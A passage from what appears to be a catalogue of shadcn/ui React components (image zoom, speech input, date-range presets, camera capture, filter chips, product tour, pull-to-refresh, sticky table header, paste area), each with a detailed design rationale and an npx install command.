nothing to pan, and touch-action is pan-y while the content fits and none once it does not, so a full-width frame is never something you cannot scroll past on a phone. The controls are labelled buttons marked aria-disabled rather than disabled — a real disabled drops them out of the tab order the moment you reach a limit — and they stay silent instead of reporting a change that did not happen. The zoom level is shown as a percentage in a polite live region, so it is announced rather than left as a visual-only state. Pan is clamped against the content's own unzoomed size rather than the frame's, so a letterboxed picture cannot be dragged half out of the box, and the frame re-clamps when it is resized, which is what a phone rotated while zoomed in needs. Uncontrolled by default (defaultTransform) or controlled by passing transform with onTransformChange. The maths is exported too — zoomAt, clampPan, clampScale and contentPointAt — so an annotation layer can map a click back to a point on the unzoomed image without reimplementing any of it. Styled entirely with shadcn tokens (border, background, muted, ring, accent), so it follows light and dark mode, and it ships zero dependencies — no Radix, no icon package, one file.

npx shadcn@latest add https://pulld.pages.dev/r/image-zoom.json
Listening…

Speech Input

A press-to-dictate microphone button that fills a text field by voice, and stops claiming to listen the moment the browser has stopped. Reach for it beside any field somebody would rather speak than type: a search box, a comment or reply box, note and journal fields, a message composer, contact and support forms, meeting and consultation notes, inspection and field-service reports filled in on a phone with gloves or dirty hands, delivery and warehouse notes, clinical and veterinary notes, incident and maintenance logs, recipe and shopping lists, long-form description fields in a CMS or listing flow, translation and language-practice inputs, and anywhere dictation is the accessible alternative for someone who cannot comfortably type — motor impairment, RSI, a broken wrist, or simply a phone in one hand. Common asks it answers: "speech to text react", "voice input component", "dictation button", "react speech recognition component", "microphone button for input field", "web speech api react hook", "voice typing textarea", "speech to text search box", "react-speech-recognition alternative", "useSpeechRecognition hook", "voice dictation shadcn", "shadcn microphone input", "talk to type react", "record voice fill form", "webkitSpeechRecognition react". Official shadcn/ui has nothing for this and no combination of its parts reaches it: input and textarea are the fields themselves and know nothing about audio, button is a button, and there is no speech, microphone or recording primitive anywhere in the library. Distinct from every other -input component in this registry — otp-input, tag-input, masked-input, phone-input and the rest are the field, while this one sits beside a field you already have and writes into it, so it composes with any of them. The component turns on one fact that every hand-rolled version gets wrong: recognition ends by itself. The browser stops a session after a stretch of silence, and after a while regardless, and the only thing it tells your code is an end event. A button that tracks the boolean its own click set therefore keeps a pulsing red dot and the word Listening over a microphone that was handed back a minute ago, and the user keeps talking into nothing. Here every visible state is driven by the platform's own start, end and error events, the setting the user asked for is kept separate from whether audio is actually being captured (aria-pressed carries the first, data-active the second), and continuous mode starts a fresh session when the browser ends one — under a budget, so a machine with the microphone muted or a laptop that has gone offline cannot turn that into a hot loop, and so a genuine pause in the middle of a paragraph costs nothing. The restart also resets the result cursor, because a new session numbers its results from zero and a cursor carried over from the last one silently swallows the first words after every pause. Interim results are kept strictly out of the value: the service rewrites its guess as more audio arrives, so writing it into the field the user is editing changes their content under them and fills their undo history with words nobody typed — the guess is shown beside the button as a preview and only confirmed text is ever appended. Appending is its own small problem and is solved and exported as appendTranscript, because value + transcript welds every chunk onto the previous word and padding unconditionally with a space yields a stray gap before a dictated full stop. Feature detection reads the prefixed constructor as well as the standard one, since webkitSpeechRecognition is the spelling the browsers that actually ship this expose, and a missing API is a first-class state with its own copy rather than a dead button. The not-allowed error is untangled rather than taken at face value: it means four different things — an http origin, an iframe without allow="microphone", a stored block, and a prompt closed without an answer — and only the third is worth sending someone to their site settings for, so the other three say something true instead, and a permission changed in those settings is picked up live through the Permissions API change event rather than staying dead until a reload. Stop asks the service to deliver what it is still holding instead of aborting and losing the last thing that was said, and unmounting detaches the handlers and aborts, so navigating away inside a single-page app cannot leave the recording indicator lit with no control left that could turn it off. The recognition language is resolved from the document rather than left to the user agent, which is the one setting whose behaviour is not defined across browsers. Worth knowing before shipping it somewhere sensitive: the specification permits the audio to be sent to a remote service — the existence of a network error code is the platform admitting as much — so a dictated field may be data that has left the device. Ships as a hook (useSpeechInput) plus a button, controlled by pairing value with onValueChange or left to report through onTranscript, marked aria-disabled rather than disabled so a refusal stays reachable and can explain itself, with a permanently mounted polite live region for status and failures. Styled entirely with shadcn tokens (input, accent, ring, muted-foreground, destructive), so it follows light and dark mode, and its only dependency is lucide-react for the icons.

npx shadcn@latest add https://pulld.pages.dev/r/speech-input.json
Today7 daysMTD
Sep 17 – 23last7d

Date Range Preset

composes date-input

A row of date-range presets — Today, Last 7 days, Month to date, Last month, Year to date — with a custom from/to range behind the last option, that answers with a relative expression like "last7d" instead of a pair of dates. Reach for it above anything that shows numbers for a period: an analytics or product dashboard, a revenue, sales or KPI report, billing and invoice history, usage and metering pages, a logs, events or audit-trail viewer, error and monitoring views, an admin table that filters by date, a search or order history, cohort and retention reports, attendance and timesheet summaries, a CSV or PDF export range, and the period selector beside any chart. Common asks it answers: "date range picker react", "date range preset component", "last 7 days selector", "date range filter", "period selector dashboard", "relative date range react", "date range in URL query param", "shadcn date range picker", "shadcn date range preset", "react-date-range alternative", "react-daterange-picker alternative", "MUI DateRangePicker shortcuts equivalent", "antd RangePicker presets equivalent", "date range shortcuts", "this month last month selector", "analytics time range selector", "from to date filter component". Official shadcn/ui has nothing for this and no combination of its parts reaches it: calendar is a react-day-picker wrapper that pulls in react-day-picker and date-fns and answers with a Date for a day, the Date Picker page is that same calendar inside a popover, and neither carries the idea of a period at all — startOfDay, endOfDay, subDays and DateRange do not appear anywhere in the library. Distinct from pulld date-input, which types one full date (and is what this composes for its custom fields), from month-picker, which chooses a single calendar month, from calendar-heatmap, which draws a year of days rather than selecting a span of them, and from weekly-hours, which sets recurring opening times rather than a one-off period. The component turns on one distinction that every hand-rolled version collapses: a relative period is an expression, not a value. Fold "last 7 days" into "2026-09-17..2026-09-23" at the moment it is clicked — which is what storing a { from: Date, to: Date } pair does — and you have written down the answer to a question nobody asked again. Share that URL and the recipient sees your week rather than theirs. Open the same saved view tomorrow and the figures have not moved, which is the single most common "the dashboard is broken" report there is and the hardest to see, because the page is faithfully showing the stale week it was told to. Here the value stays the string "last7d" all the way into the URL, the saved view and the form post, and resolveDateRange evaluates it at the moment you query. Three more things it settles that are invisible until they are wrong. The resolved range is half-open — start included, end excluded — so there is never a last instant to pick and therefore never the 23:59:59 that silently drops the final second of the period, nor the 23:59:59.999 that drops the final millisecond; the end is simply the day after the last one you want, and the summary line shows the last day actually included rather than that excluded end, because telling a reader their range ends on the 24th when the 24th is not in it is just false. Which day is "today" is a property of a time zone rather than of the clock, so todayIn takes an IANA zone and throws on one the runtime does not know instead of quietly falling back to whatever zone the server happens to run in — the reason a browser and the job that aggregates the rows can otherwise disagree by a day at the edges for anyone working late. And whether "Last 7 days" includes today is a real fork with two defensible answers, so it is written out as ordinary data in DEFAULT_PRESETS that you can replace one line at a time rather than buried in the component; there is deliberately no "this week", because the first day of the week is Sunday, Monday or Saturday depending on where you are and a component that quietly picked one would be wrong for much of the world without ever saying so. The preset id and a custom range share one query expression — "last7d" or "2026-09-01..2026-09-30" — so ?period= round-trips either without a second encoding to keep in sync, and parseDateRange refuses backwards ranges and impossible days like 2026-02-30 so a link a stranger edited cannot build a query. Calendar arithmetic is done without a date library: January's "last month" lands in the previous year on its own, February is as long as it actually was that year, and a year under 100 stays that year instead of becoming nineteen-hundred-something the way Date.UTC would have it. It is a real radiogroup with a roving tabindex — one tab stop for the whole row, then arrow keys inside it, which select as they move, with Home and End at the ends and wrapping at both, and left and right following the writing direction so they do not run backwards on an RTL page. A permanently mounted polite live region names the span in words through Intl, so the dates are announced rather than left as a visual-only state, and it stays in the accessibility tree when empty instead of being rendered along with its message. Choosing the custom option reports nothing until both dates make a range, so the dashboard behind the picker is never blanked mid-edit, and the fields open seeded with the range being looked at rather than two empty boxes. Uncontrolled, or controlled by pairing value with onValueChange; give it a name and it posts the expression with a plain form or a server action. The maths is exported too — resolveDateRange, parseDateRange, formatDateRange, todayIn, shiftDay, toCalendarDay, toPlainDate and lastIncludedDay — so a server route can resolve the same string the picker produced without reimplementing any of it. Styled entirely with shadcn tokens (primary, input, accent, ring, muted-foreground, destructive), so it follows light and dark mode, and it ships zero npm dependencies — no date library, no icon package.

npx shadcn@latest add https://pulld.pages.dev/r/date-range-preset.json

Camera Capture

A take-a-photo control that opens the device camera inline, shows a live preview, captures a still to a Blob, and — the part every hand-rolled version gets wrong — hands the camera back the moment it is done with it. Reach for it wherever a form needs a picture taken now rather than a file chosen from a gallery: a profile or avatar photo, ID and proof-of-address capture in a KYC or onboarding flow, a business card scanned into a CRM, stock and asset counts in a warehouse, site and installation records on a construction job, damage reports for a repair, an insurance claim or a delivery dispute, proof-of-delivery photos, receipt and invoice capture for expenses, meter readings, a VIN or serial plate, product photos for a marketplace listing, a whiteboard at the end of a meeting, and a check-in photo in a field-service or inspection app. Common asks it answers: "react camera component", "take photo in browser react", "getUserMedia react hook", "webcam capture component", "react webcam alternative", "capture image from video stream", "shadcn camera", "photo capture for form upload", "scan document with phone camera react", "front and back camera switch react", "useUserMedia hook", "canvas toBlob from video", "selfie capture component", "camera permission denied react", "camera light stays on after stopping". Official shadcn/ui has nothing for this and no combination of its parts reaches it: there is no camera, video, media or capture primitive anywhere in the library — getUserMedia, MediaStream, facingMode, srcObject, enumerateDevices, toBlob and even the string "camera" are each zero hits across all sixty-odd of its components. Distinct from the other image pieces in this registry, and composes with them rather than repeating them: file-dropzone takes a file that already exists, image-crop trims a picture after it has been obtained, image-zoom inspects one, upload-list shows what is in flight, and signature-pad is also a canvas but its input is a finger, not a lens. This one is the step that produces the image in the first place — pipe its blob straight into image-crop, or into a FormData with form.append("photo", photo.blob, "photo.jpg"). Five things separate it from the twenty-line version. First, stopping. Setting video.srcObject to null blanks the preview and leaves the tracks live, so the operating system's recording indicator stays lit over a camera nobody is watching; only track.stop() ends the capture, and it runs on unmount, on an explicit stop, when a photo is taken, and before any restart. On a phone the camera is also exclusive, so the release has to happen before the next getUserMedia and not after it, or switching cameras fails with NotReadableError on exactly the devices that have two cameras to switch between — and a stream that arrives after the component has gone is stopped on arrival, because nothing else on the page can reach it any more. Second, facing. { exact: "environment" } fails outright on any device without a rear camera, which is every laptop, and plain "environment" never fails and silently returns the front camera instead, so a document scanner written either way is broken: one refuses to run, the other photographs the user's face and files it as their passport page. This asks for the ideal and then reads the live track back, so facing reports the camera actually in use and facingFallback says when it is not the one requested — the answer neither constraint spelling gives you. Third, the black photograph. loadedmetadata publishes videoWidth and videoHeight, so a canvas sized from them looks right, but no frame has been decoded yet and drawImage paints nothing; the result is a correctly sized, entirely black JPEG that passes every check a caller is likely to write. Capture is gated on readyState, not on dimensions. Fourth, permissions. NotAllowedError means four unrelated things — an http origin, an iframe without allow="camera", a stored block, and a prompt closed without an answer — and only the stored block is worth sending somebody to their site settings for, so the other three say something true instead and are not offered a retry that cannot work. NotReadableError is untangled too: the camera exists and the permission is fine, and another app is holding it. A permission fixed in site settings is picked up live through the Permissions API change event rather than staying dead until a reload, and because MediaDevices is [SecureContext] the whole object is missing on http — where the obvious feature detect fires and produces the one wrong answer, "this browser has no camera support", so this component checks the context before it concludes anything. Fifth, mirroring. The preview is mirrored because a front camera shown unmirrored is disorienting, and the saved file is not, because a mirrored file makes every photographed document, badge, receipt and serial number read backwards; mirrorOutput is there for the selfie case and is off by default. Ships as a hook (useCameraCapture) plus a component, with videoProps to spread onto your own <video> so playsInline and muted — the two attributes an iPhone needs to keep the preview from going fullscreen over your page, and to be allowed to autoplay at all — cannot be forgotten. Audio is explicitly refused so the microphone indicator stays dark and only one permission is asked for. The camera list is read after a stream opens rather than on mount, because enumerateDevices answers before a grant with every label blank. Saved images can be capped with maxWidth and maxHeight, encode to JPEG by default, and report the type that actually came back rather than the one requested; the object URL is owned by the component and revoked on retake and unmount, so a capture screen used ten times does not pin ten images in memory. Controls are aria-disabled rather than disabled so a refusal stays reachable and can explain itself, with a permanently mounted polite live region for status and failures. Styled entirely with shadcn tokens (input, accent, ring, muted-foreground), so it follows light and dark mode, and its only dependency is lucide-react for the icons.

npx shadcn@latest add https://pulld.pages.dev/r/camera-capture.json
Status:Open×Owner:Amy×
Clear all

Filter Chips

The row of pills above a list that says which filters are in force — one chip per applied condition, each with a × that takes off only that condition, plus a clear-all that offers an undo. It holds no filter state of its own: the chips are derived from the query on every render, so the row cannot disagree with the list beneath it. Reach for it above anything filterable: an admin table of users, orders, invoices or subscriptions, e-commerce search results and faceted category pages, a logs, events or audit-trail viewer, an issue or ticket tracker's saved views, a dashboard segment, a CRM contact list, a file or media library, a job board, a property or map search, a moderation queue, and any page that keeps its filters in the URL. Common asks it answers: "filter chips react", "active filters component", "applied filters bar", "removable filter pills", "chips with a remove button react", "faceted search UI react", "clear all filters button", "show active filters above a table", "filter tags with x react", "shadcn filter chips", "shadcn active filters", "MUI Chip onDelete equivalent", "antd closable tag filters equivalent", "filter chips from URLSearchParams", "sync filters with query params react", "remove one value from a multi-value filter", "reset page when a filter changes", "announce filtered result count to a screen reader". Official shadcn/ui has nothing for this: activeFilters, onRemoveFilter, clearAll, facetedFilter, URLSearchParams, useSearchParams and aria-live are each zero hits across all 62 of its fetchable items (measured 2026-09-25), its badge is a coloured label with no way to take it off, and toggle-group is an input for choosing rather than a display of what has been chosen. The one part that looks close is the Base UI combobox's ComboboxChips/ComboboxChip, and it is a different job: that is the selected-values affordance inside one text field — a bordered, focus-ringed input container whose pills are that combobox's own selection, needing @base-ui/react and a Combobox root around them — where this is a summary above the list of everything currently applied, including conditions set by other controls, by a shared link or by a saved view, which no single input's chips can represent. Distinct from the pulld pieces it sits beside: multi-select and tag-input put chips inside a field (choosing from a list, and typing freely), bulk-action-bar is about the rows you have selected rather than the filters that produced them, search-input is one filter's own control, and date-range-preset keeps its period in this same query string — declare that parameter as a chip:"key" field and its chip comes off like any other. Five things separate it from the twenty-line version. First, the chips are the state rather than a copy of it: keep a second array of active filters and it drifts the moment anything else touches the query — a Back button, a link, a reset elsewhere on the page — after which the row shows a pill for a condition that is no longer applied, or stays silent about one that is, which is the commonest way an admin list goes quietly wrong. Second, one filter holding several values: ?status=open&status=pending is either two chips whose × narrows the filter to the other value, or one chip whose × stops filtering by status altogether, and which is right depends on the parameter (chip:"key" for a range or a period), so it is declared rather than accidental. Third, the round-trip: removing a chip rebuilds the parameters instead of assembling a fresh query out of the fields, so the sort order, the tab and everything else it was never told about survive, while the page number is dropped — a cursor into the results of the old conditions is what lands a person on an empty page 7 with three chips still showing. Fourth, the naming and the outcome: a bare × is read out as "button", so each one's accessible name says which condition it removes, and the result count is announced from a live region that stays mounted at zero chips (a region inserted together with its text is one nobody was listening to, and the message that matters most arrives as the row empties). Fifth, focus: the button just pressed no longer exists, and a browser does not move focus off a removed element, it drops it to <body> — so focus goes to the chip that took its place, or to the row itself when the last one goes. Clear-all is the only irreversible action here, so it restores the previous query exactly, page number included, and withdraws the offer the moment the query changes from anywhere else.

npx shadcn@latest add https://pulld.pages.dev/r/filter-chips.json
2 of 4Next

Product Tour

A guided tour of the real screen: a card that walks through your own UI, dimming the page and lighting up the one control each step is about, with Back and Next, a progress count, a way out, and placement that flips to whichever side of the target has room. The spotlight is re-measured every frame, so it follows a target that slides in with a panel, shifts when a web font swaps in, or gets replaced by React — and it stops lighting anything at all when the target is not there, instead of leaving a bright square over empty page. Reach for it on a first login and after a release: SaaS onboarding, a redesigned admin layout people have to be walked through, an editor's panels and shortcuts, an internal tool nobody reads the docs for, the introduction to a multi-step settings wizard, a feature announcement that has to point at the feature, a checkout or booking flow being explained to new staff, and a dashboard whose numbers need one pass of explanation. Common asks it answers: "product tour react", "onboarding tour component", "guided tour react", "coachmark react", "spotlight onboarding overlay", "walkthrough component shadcn", "shadcn product tour", "driver.js alternative react", "react-joyride alternative", "intro.js for react", "shepherd.js react", "feature tour with tooltips", "highlight an element and explain it", "dim the page except one element", "tour that waits for a lazy-loaded element", "tour step that lets the user click the highlighted button", "resume a product tour where the user left off", "accessible product tour keyboard", "onboarding tour without floating-ui". Official shadcn/ui has nothing for this: coachmark, spotlight, walkthrough, driver.js, tourStep, onboardingStep, highlightTarget and the word tour itself are each zero hits across all 62 of its fetchable items (measured 2026-09-26), and so are getBoundingClientRect, IntersectionObserver, ResizeObserver and clip-path — nothing in it measures the page at all. Its popover is a card tied to one element with no order, no progress and no Next; its dialog takes over the screen rather than pointing at a part of it; and its tooltip is for a label, not for a paragraph with buttons in it. Distinct from the pulld pieces it sits beside: step-indicator draws progress and points at nothing, keyboard-shortcuts and command-palette list what is possible rather than showing it in place, empty-state is what a screen says before there is anything to tour, announcement-bar tells everyone at once without pointing, and highlight-text marks words inside a string. One file, no floating-ui or popper, no portal, no react-dom import. Six things separate it from the version built out of a popover and an array index. First, the target does not hold still: a tour usually begins by opening something, and a panel sliding open with a CSS transition moves its target through a hundred positions while firing no event at all — so the rectangle is taken every frame rather than once per step, and React is only told when a number actually changed. Second, absent and gone and invisible are one state: an element that has left the document still answers getBoundingClientRect with the rectangle it had on the way out, and one inside display:none answers all zeros, which draws a spotlight in the top-left corner of the page — both count as nothing to point at, the same as a step whose code-split panel has not loaded yet, and that step degrades to a centred card and reports itself after a wait instead of pointing at a hole. Third, the hole is four rectangles, not a trick: a box-shadow spread is not a hit area, so the page around the target stays clickable while the target alone is blocked, i.e. exactly backwards, and a clip-path makes clickability a property of a path string; four elements tile the viewport exactly (no seam, no overlap, no gap to click through), and the target is made inert again by one more rectangle over the hole. Fourth, aria-modal is a lie on an interactive step: a step that has just told someone to press the highlighted button cannot also tell a screen reader that everything outside the card does not exist, so the attribute goes when the hole is live. Fifth, the same for the keyboard: the tab scope is the card alone on an inert step and the target's controls plus the card's on a live one, target first, because the thing a person was just asked to click should not be several stops past a button called Next. Sixth, placement and resume: a requested side is abandoned when the card does not fit there (otherwise Next ends up off the bottom of a laptop window), the cross axis is clamped instead of blindly centred, and where somebody stopped is reported to you to store rather than written to localStorage — a per-device flag runs the tour again on the phone — with a saved step id that no longer exists starting the tour over rather than showing a blank screen.

npx shadcn@latest add https://pulld.pages.dev/r/product-tour.json

Pull To Refresh

A list that reloads when it is pulled down from the top, the way a native app does, plus a Refresh button that always does the same job. The indicator follows the finger one-to-one until releasing would refresh — so "release to refresh" appears exactly when the finger has gone the distance the label implies — then tapers towards a ceiling it never reaches, so the list cannot be dragged off the bottom of the screen. Reach for it on a mobile web list people expect to behave like an app: a PWA's inbox or feed, a notifications or activity list, chat or message threads, an orders or deliveries screen, stock and price panels that go stale while they are looked at, a dashboard on a phone, a queue or ticket list a support agent keeps checking, and search results after the network came back. Common asks it answers: "pull to refresh react", "pull to refresh web", "swipe down to refresh", "pull down to reload a list", "pull to refresh shadcn", "pull to refresh without a library", "react-simple-pull-to-refresh alternative", "react-pull-to-refresh alternative", "pwa pull to refresh", "mobile web refresh gesture", "disable the browser's own pull to refresh", "two spinners when I pull to refresh on android", "overscroll-behavior contain", "Unable to preventDefault inside passive event listener invocation", "onTouchMove preventDefault not working in react", "pull to refresh broken on ios", "ios rubber band scrollTop negative", "pull to refresh fires while the list is still scrolling", "accessible pull to refresh", "refresh a list without a pull gesture". Official shadcn/ui has nothing for this, and nothing to build it out of: touchstart, touchmove, touchend, touchcancel, TouchEvent, clientY, pullDistance, refreshing, onRefresh and overscroll-behavior are each zero hits across all 62 of its fetchable items (measured 2026-09-27) — it does not handle a touch anywhere. The two overscroll hits are both Tailwind classes and neither is a refresh: overscroll-x-contain on the attachment strip, and overscroll-contain on message-scroller, a chat log that autoscrolls downward and reads no gesture at all. Distinct from the pulld pieces it sits beside: infinite-scroll is the bottom of the same list and loads the next page, this is the top of it and replaces the first; scroll-progress reports how far down the page has gone; scroll-shadow says there is more to see sideways; network-status says the connection dropped, and this is what someone does about it once it is back; save-status reports writes going out rather than reads coming in. Six things separate it from the version built out of onTouchMove and a clientY subtraction. First, the scroller is this component's own element, so overscroll-behavior-y: contain is not something a consumer has to remember: without it Chrome on Android runs its own pull-to-refresh over the top of this one and a single gesture shows two spinners. It is contain and not none, so the rubber-band bounce that tells people they have reached the end survives. Second, touchmove is registered by hand with passive: false, because React registers onTouchMove passively and a passive listener's preventDefault is dropped with a console warning — the indicator comes down and the browser overscrolls behind it, and no prop changes that. touchstart, touchend and touchcancel stay React props precisely because none of them ever has to prevent anything. Third, a negative scrollTop is refused rather than welcomed: it is iOS saying it is already sliding the content down, and a translate added on top of its bounce moves the list twice as far as the finger. Whether a gesture may pull at all is settled once, at touchstart, and thereafter only ever taken away — an implementation that asks whether scrollTop is 0 on every move hands out pulls in the middle of scrolls, because a list gliding to a halt passes through 0 with a steadying finger already resting on it. Being at rest is measured as time since the last scroll event, which is the only test that works in engines that hold scrollTop at 0 throughout their bounce. "At the top" is a one-pixel window, not a comparison against zero, because browser zoom and fractional device pixel ratios park a scroller at 0.5. Fourth, the gestures that are not pulls are each turned away: a second finger (a pinch-zoom starting inside the list), a sideways drag (a carousel or a swipeable row — ties go to horizontal, since refusing a pull costs one more try while stealing a swipe breaks what is under the finger), a drag upward, which ends the gesture rather than waiting at zero for the finger to drift back down and become a pull mid-scroll, and a move the browser has already marked non-cancelable. An axis once decided is never re-decided, so the arc a thumb actually describes does not kill the pull half way down. Fifth, the gesture is touch-only, and to a keyboard, a switch, a desktop mouse or a screen reader a list whose sole way to reload is a pull cannot be reloaded: so a Refresh button is always rendered, it carries aria-disabled rather than disabled so pressing it never drops focus out of the list, every stage is announced through a polite live region that is in the DOM before it has anything to say, the scroller gets aria-busy, and the indicator itself is aria-hidden because it is a drawing of where a finger is. Sixth, it cannot get stuck: one refresh runs at a time whether it came from the gesture or the button, a rejected promise and a loader that throws synchronously both announce the failure and let the next attempt through instead of leaving the spinner turning for the session, a touchcancel — an incoming call, the system's own edge gesture — closes without refreshing rather than sharing the release handler and refreshing on an interruption nobody released, and nothing is set after unmount. Controlled by one prop: pass onRefresh and give the scroller a height with scrollClassName. Optional threshold (default 64px), maxDistance, disabled, hideButton for callers supplying their own control, and labels to reword or translate every string. Styled with shadcn tokens so it follows light and dark themes and honours prefers-reduced-motion; lucide-react is the only dependency, with no Radix, no gesture library and no react-dom import.

npx shadcn@latest add https://pulld.pages.dev/r/pull-to-refresh.json
NameStatusAdaPaidBoDueCyPaidDeeDue

Sticky Table Header

Keeps a long table's header row visible while the rows scroll, and optionally pins the first columns too, by wrapping the <table> you already have — no change to a single <th>. Reach for it wherever a table is taller than the screen and the column names stop being visible a third of the way down: an admin users, accounts or customers list, an orders, invoices or billing-history table, a transactions or ledger view, logs and audit trails, an inventory or stock table, a reporting or analytics breakdown, a data grid on a dashboard, a pricing or comparison matrix, a spreadsheet-like editor, search results, a tickets or issues queue, and any wide table people scroll sideways through. Common asks it answers: "sticky table header react", "shadcn sticky table header", "shadcn table header not sticking", "freeze header row table css", "frozen header table react", "table header stays on scroll", "position sticky th not working", "sticky thead not working", "sticky top-0 does nothing on table header", "why is my sticky header not sticking", "sticky table header border disappears", "border bottom missing on sticky header", "sticky header rows show through", "table rows visible through header", "transparent sticky header table", "freeze first column table react", "sticky first column and header", "sticky column overlaps header", "corner cell z-index table", "pin multiple columns table", "sticky header under fixed navbar", "table header hidden behind app header", "sticky header offset fixed navbar", "scrollable table with fixed header", "table with max height and sticky header", "tanstack table sticky header", "data table sticky header shadcn", "react-table sticky header css", "テーブル ヘッダー 固定 react", "見出し行 固定 スクロール", "表 ヘッダ 固定 shadcn". Official shadcn/ui has nothing here, and the measurement is not close: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping all 223,289 bytes of source, sticky, position: sticky, position:sticky, sticky top-0, stickyHeader and scrollLeft are every one of them a zero hit, as are getBoundingClientRect, ResizeObserver, IntersectionObserver and offsetHeight, so nothing in that registry measures an element at all. Its table is 2,468 bytes of six styling wrappers in which the word sticky never appears. So this gets hand-rolled, and four things go wrong every time — three of them invisible until you actually scroll. The first is that the border under the header disappears. Tailwind's preflight sets border-collapse: collapse on every <table>, in v3 and v4 alike, and in the collapsed model a border belongs to the table's grid rather than to the cell that declared it. The cell is what sticks; the grid is not — so border-b on a pinned <th> scrolls away with the rows and the header is left with no bottom edge, floating over the data. The line here is an ::after box, which belongs to the cell and travels with it. And the repair the search results hand you for that — flip the table to border-separate so the borders belong to the cells — is the one thing this refuses to do, because the separated model ignores borders on a <tr> and shadcn's own TableRow puts its border-b exactly there. Flipping the table trades one missing line in the header for every missing divider in the body, which is a much larger regression arriving as a fix. The second is that the header is transparent. A <th> has no background of its own, so a pinned one does not stay in front of the rows, it stays in place while they pass through it, and the heading and whatever row is underneath are painted over each other. It reads as a rendering fault rather than as a missing colour, which is how it survives review. The third is the one that produces "sticky just does not work": a sticky cell is pinned to its nearest scrolling ancestor, never to the window unless the window is that ancestor, so the question is never whether you wrote sticky top-0 but which element is the scrollport. Official shadcn/ui's own <Table> is the usual culprit — it renders <div class="relative w-full overflow-x-auto"> around the table, and a box with overflow-x: auto computes overflow-y: auto as well, so that div is a scrollport on both axes and a header pinned to it never moves, because it is the page that is scrolling. Pass maxHeight and this wrapper becomes the scrollport itself, which always works and is the only arrangement in which a table can scroll sideways and keep a pinned header at the same time; leave it off and the page scrolls, in which case nothing between this wrapper and the <table> may have an overflow. The fourth is the corner. Pinned columns need a left that starts where the previous column ended, which cannot be a static class because it is the measured width of the column before it — pinning them all at left: 0 stacks three columns in the space of one, each painting its text through the others — and a sticky cell makes its own stacking context, so a header cell and a body cell that tie on z-index are resolved by document order, which puts the body on top and slides the first column over the heading as soon as the table moves sideways. stickyColumns pins up to three leading columns with offsets measured through a ResizeObserver, and lifts the corner above both. offset takes the height of a fixed app header, without which the table header pins correctly and parks underneath the toolbar for the whole of the scroll. maxHeight takes anything CSS does — 420, "60vh", "calc(100dvh - 12rem)". Recolour the pinned cells with an important utility, className="[&_thead_th]:!bg-card", since these are descendant rules. One header row is supported: a second row of grouping headers would need its own measured offset, and pinning both at the same top would stack them. Within pulld it is what a long table wants next to sort-header, which orders one column; scroll-shadow, which fades the edges so you can tell there is more sideways; virtual-list and infinite-scroll, which deal with how many rows there are rather than where the header is; and sortable-list, which drags rows into an order by hand. One file, your <table> stays yours, and it adds no dependencies at all.

npx shadcn@latest add https://pulld.pages.dev/r/sticky-table-header.json
⌘V
image.pngpasted-…-1.png

Paste Area

A region that takes whatever is on the clipboard — a screenshot, an image, a file, a table copied out of a spreadsheet, or plain text — and hands it over as typed items, with each pasted picture given a name it can actually be filed under instead of the image.png that every browser calls it. Reach for it wherever the thing a person has is copied rather than saved: a screenshot going into a bug report, a support ticket or a QA tool, an image dropped into a chat message, a CMS entry or a comment box, an avatar or profile picture grabbed from somewhere else, a receipt or an invoice pasted into an expense claim, rows pasted out of Excel, Numbers or Google Sheets into an importer, a logo pasted into a brand or settings form, and a frame copied straight out of Figma during a design handoff. Common asks it answers: "paste image react", "paste screenshot upload react", "react paste from clipboard component", "onPaste handler react", "get image from clipboard javascript", "clipboardData.items getAsFile", "clipboardData.files is empty", "paste event has no files", "screenshot paste not working", "paste image works in chrome not safari", "navigator.clipboard.read example", "clipboard read permission denied", "NotAllowedError clipboard", "paste area shadcn", "shadcn paste component", "paste to upload", "ctrl+v upload", "cmd+v upload image", "paste excel table into react", "paste tsv into a table", "text/html vs text/plain clipboard", "pasted image has no filename", "every pasted file is called image.png", "paste anywhere on the page", "document paste listener react", "paste event only fires when focused", "paste event not firing on div", "クリップボード 貼り付け react", "スクショ 貼り付け アップロード", "画像 ペースト 受け取る". Official shadcn/ui has nothing here and nothing to build it out of: fetching every entry in its registry today — 63 listed, 62 fetchable, questionnaire is indexed and 404s on both style tracks — and grepping all 223,287 bytes of source, onPaste, clipboardData, ClipboardEvent, DataTransfer, navigator.clipboard, getAsFile, ClipboardItem, clipboard.read and readText are every one of them a zero hit (measured 2026-09-29), and so is the word paste itself, in either case. It does not touch the clipboard anywhere. Distinct from the pulld pieces it sits beside, which all face the other way: copy-button and copy-field write to the clipboard, file-dropzone receives a file that already exists on disk by drag or by picker, camera-capture makes a new picture, image-crop and image-zoom work on a picture you already hold, and upload-list shows them afterwards. This is the only one that reads. It is deliberately stateless too — it hands each paste on and keeps no list, so it composes with whichever of those holds the files. Seven things separate it from the version built out of onPaste and e.clipboardData.files. First, the two clipboard mechanisms are available under opposite conditions, so both are wired: the paste event needs no permission and works everywhere but only ever reaches the focused element — which is why the region is focusable and why a global prop exists for a screen whose whole job is to receive one thing — while navigator.clipboard.read() can be called at any moment but prompts for permission, is not implemented everywhere, and in some engines only resolves inside a user gesture, which is why it sits behind a button. Second, that button appears only after mount: the server has no navigator, so deciding it during render puts a button in the client's first tree that is missing from the server's HTML, and React throws the whole tree away rather than reconciling that. Third, files and items disagree about the most common paste there is. A screenshot is a picture that was never a file on disk, so it turns up in items and, in some browsers, nowhere else — read files alone and the single thing people paste most is silently ignored. Both are read and then de-duplicated, because an ordinary copied file is usually in both; and the identity used for that is name, size and type but deliberately not lastModified, since getAsFile() mints a fresh File on every call and some engines stamp it with the current millisecond, so the two reads of one picture differ by a millisecond and the person is handed their screenshot twice. Fourth, one paste carries several flavours at once and choosing between them is not this component's call: a spreadsheet selection arrives as a real table in text/html and as tab-separated text in text/plain, and which one is read changes the result entirely, so both are handed over along with the full list of types. The strings are read with getData, synchronously, rather than with items[i].getAsString, whose callback runs on a later turn — by which time the event's DataTransfer has been emptied and it fires with nothing. Fifth, every pasted screenshot is called image.png. One is fine; the second lands in the list beside a file of the same name, and from there "which image.png?" is a question the UI cannot answer and an upload keyed on filename quietly overwrites. Placeholders are renamed with a timestamp and a sequence that continues across pastes rather than restarting, so two pastes inside the same second cannot collide either, and the original name is reported back. A file that came with a real name keeps it — photo.jpg is deliberately not on the list of placeholders, because renaming it would destroy the only information its owner supplied. Sixth, a paste that belongs to a text box is left to it. A region holding a caption field, or one listening on the document, is handed pastes meant for an input, and swallowing one means someone watches their text simply not appear; a read-only or disabled field is not one of those, since nothing can 